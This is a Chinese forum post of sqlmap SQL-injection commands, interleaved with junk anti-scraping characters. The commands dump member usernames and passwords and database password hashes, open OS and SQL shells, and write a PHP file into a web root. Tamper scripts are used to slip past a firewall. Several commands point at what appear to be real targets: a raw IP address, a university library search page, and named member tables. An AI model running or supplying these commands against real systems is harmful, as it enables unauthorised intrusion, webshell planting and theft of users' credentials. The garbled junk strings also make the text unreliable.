找回密码
 立即注册
查看: 2854|回复: 0
打印 上一主题 下一主题

sqlmap使用实例

[复制链接]
跳转到指定楼层
楼主
发表于 2017-5-19 17:03:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/pentest/database/sqlmap
; G6 @1 X0 l" F# U8 M% Z* C' Q$ l, `+ u( ?
update :::::>     in the folder   after  execute    following   order : svn update" I) h3 j# t, ^
, q, |+ J& o) _  n/ ~$ A( ]2 V
sqlmap.py -r 1.txt --current-db
0 E' [) G0 U1 Q/ l% Y( n  Z
& v3 K. }- `) @v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”
1 Q( z# e) j4 c* g5 J- x7 E
. M3 ]+ O; G) N5 n* D' H0 q* r8 }5 `6 v==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) 5 w" s! j# Y5 f' K  S! ?$ L, F
猜解数据库) V" o4 H2 U( ?- ~% L2 x
./sqlmap.py -u "injection-url" --dbs4 n7 Q' l8 h* s- x" W. B6 S! S
sqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"
& R: a- y# h+ k; Q" N% B% M4 Z6 l
猜解表名
: }% k9 g$ `+ W5 ]./sqlmap.py -u "injection-url" -D database_name --tables1 Q% I% x+ v6 L6 y! i

! r- x! E' Y( e* Y$ j( vsqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"
4 G& a5 n) C6 _- z* b* ssqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py" * R' ^7 M2 Z! I4 t

! g/ G6 l+ F3 S3 J4 c% Q& c6 Msqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump- |& c$ h# ~( B4 l: p/ w

6 c  T) J4 Q0 |5 c% g- A4 Dsqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py"
$ j' q" u1 `7 B" ^sqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py"& A0 X) U9 f9 E# |2 l
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py" 0 v3 F  n  m, _. `4 x% ~6 T+ `) m# v
sqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"1 j4 `2 T2 _+ |* H& k1 L( O

; x) g- r' |$ c5 G3 s6 B; I2 [2 {sqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"% z/ s9 C7 z. \* I
sqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"
3 n: |, ?3 _1 x0 d% Vsqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"1 I% I0 q8 A, p9 j' P
sqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py"/ L. ^; E/ a5 V6 T7 [0 L
sqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump
; p1 e  e- ^2 i1 X  V  h( R
/ c+ e! x7 K7 [4 `3 y% Vsqlmap.py -r 1.txt -v 3 --dbs  --batch --tamper "space2morehash.py" 绕过防火墙了
; N" w0 F  T+ v3 e2 z& _sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py"; _8 S* {0 q, M. f/ }

0 c0 x6 s7 l* O, Z/ Nsqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst"8 I: ]4 f- U( n9 U, |
猜解列名
2 r& f5 Q) B4 F% u./sqlmap.py -u "injection-url" -D database_name -T table_name --columns
7 ~, p7 o2 Z2 v, [( m6 _. h9 _: ?) U$ c6 A7 \1 S/ O2 h0 f* g
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py"
0 p! V6 M6 F( n7 Ksqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py" % }$ y' d. ^/ _
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"
, Q0 k- o( _% c, s: w
9 ]1 Y! U4 O9 t( qsqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"# [4 s3 _5 N1 r) n* N' n( h3 o
&submit=Go* Z0 B! b, b1 g9 Z+ M4 k
猜解值9 S3 t% }* n3 i6 r( r; U9 H# R
./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump
' v( E$ C& b7 h9 F========================================================
6 n! h1 ~) B' ~* S6 X: d搜索表名中包括mana字符的
. Y8 G. Y: O1 l9 U4 e0 f1 T* w/sqlmap.py -u "injection-url" -T mana --search8 s2 y8 N1 }7 _6 r& \8 c
返回一个交互式sql shell
2 B6 C9 C( ]  I3 x- K4 s/sqlmap.py -u "injection-url" --sql-shell" n1 f4 V, x. ?4 c7 |
读取指定文件(需权限)# a: r$ ^" M# g5 E. y; I/ i$ W0 o
/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"
3 j: O6 h& h" _3 C查看当前 用户 及 数据库
2 e+ N8 O  @7 ?1 M5 O/sqlmap.py -u "injection-url" --current-user --current-db# ]3 U7 F8 e6 T
本地文件 写入 远程目标绝对路径! T. I; c; ^' G# m% V4 `
/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
. H" u# }6 t6 rsqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py" & r# }) g- X# Z4 @' q& K
0 D# t6 l* H+ `% V! w
sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径/ y/ }# F- R- Y2 Q  v
查看某用的权限9 ^! g+ b  F* g" q  N! Q4 g
/sqlmap.py -u "injection-url" --privileges -U root
* d1 \: v9 d+ t4 V) D5 |; b. |: o; Q% t查看当前用户是否为dba
4 U. `/ G3 `, H$ H2 T1 l! i" n/sqlmap.py -u "injection-url" --is-dba4 k4 Z; U( Y4 v
读取所有数据库用户或指定数据库用户的密码  S5 L3 _9 K1 ]% v- j
sqlmap.py -r 1.txt --users --passwords
6 _8 M3 m+ \( ?/ Csqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py" / R# ]7 j: h% F4 \; o& C' u- B

2 H- S( |1 c# b. K/sqlmap.py -u "injection-url" --passwords -U root7 F5 R6 B, J) c0 `5 i, ]* A

& J) a  ~, j/ R--start&&--stop 与 --first&&--last 的区别
! r, W$ g  t2 \/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump   (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……)
! L+ N/ ?0 a5 ~2 k3 n6 m2 p- J
5 I' l8 Z9 o  R从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)
" i# d/ G8 _9 J7 p. a/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables
: s5 e1 g( }+ X2 S& j/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns" K- \8 ?% i7 R8 I( m

% s2 n% W5 h; \- `: {3 b5 G执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)  q3 F! C. [' \, m9 l- M; _) Q4 Z
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip"
# x8 S' ~3 |: Z6 q2 R4 D- g* u' K- [
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表